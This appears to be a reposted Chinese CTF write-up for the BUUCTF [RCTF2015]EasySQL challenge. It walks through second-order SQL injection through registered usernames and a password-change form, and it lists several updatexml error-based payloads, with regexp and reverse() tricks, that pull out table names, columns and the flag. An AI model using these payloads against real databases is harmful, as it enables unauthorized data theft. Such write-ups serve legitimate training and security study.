BUU-WEB-[RCTF2015]EasySQL

Posted TzZzEZ-web

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUU-WEB-[RCTF2015]EasySQL相关的知识,希望对你有一定的参考价值。

[RCTF2015]EasySQL

先进去随便注册个账号,在username和email处有过滤机制,注册成功后,有个修改密码功能,可能在此处存在二次注入。
先在注册栏的username处进行fuzzy,看看有哪些sql语句不能用。
在这里插入图片描述
(长度为496的都是被过滤的)
尝试利用admin"注册。
注册成功后修改密码,发现报出sql错误。
在这里插入图片描述
猜测后台执行的修改语句为:

update users set password='xxxx' where username="xxxx" and pwd='e10adc3949ba59abbe56e057f20f883e'

所以此处的思路是通过注册的username进行sql注入,错误回显在修改密码处。
尝试获取表名:

test"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#

在这里插入图片描述
成功报出表名。
再尝试从flag表中获取列名。

test"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1)#

在这里插入图片描述
尝试读取内容。

test"||updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)#

在这里插入图片描述
查看user表。

test"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1)#

在这里插入图片描述
尝试显示读取内容。

test"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users))),1)#

在这里插入图片描述
列名显示不存在。
通过名字可以看出,列名不是完全的,通过正则匹配一下这个列名的全称。

test"||updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#

在这里插入图片描述
报出列名的全称。
再次尝试读取内容。

test"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))),1)#

在这里插入图片描述
再次使用正则匹配读出flag。

test"||updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#

在这里插入图片描述
看样子似乎又只是读出了一半,尝试看看reverse能不能读出来后半段。

test"||updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#

在这里插入图片描述
在这里插入图片描述

以上是关于BUU-WEB-[RCTF2015]EasySQL的主要内容,如果未能解决你的问题,请参考以下文章

Buuctf——[RCTF2015]EasySQL

Buuctf——[RCTF2015]EasySQL

RCTF2015 PWN400 分析

WEB漏洞攻防 - SQL注入 - 二次注入

刷题记录:[RCTF 2019]Nextphp

RCTF2021 ezshell